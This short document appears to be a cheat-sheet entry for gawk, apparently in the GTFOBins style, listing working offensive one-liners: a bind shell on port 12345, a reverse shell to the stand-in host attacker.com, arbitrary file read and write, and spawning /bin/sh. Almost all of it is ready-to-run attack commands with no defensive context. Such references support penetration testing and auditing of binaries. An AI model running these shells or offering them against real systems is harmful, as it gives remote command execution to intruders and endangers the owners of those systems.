gawk

Bind Shell

gawk 'BEGIN {
    s = "/inet/tcp/12345/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

File Read

gawk '//' /path/to/input-file

File Write

gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'

Reverse Shell

gawk 'BEGIN {
    s = "/inet/tcp/0/attacker.com/12345";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Shell

gawk 'BEGIN {system("/bin/sh")}'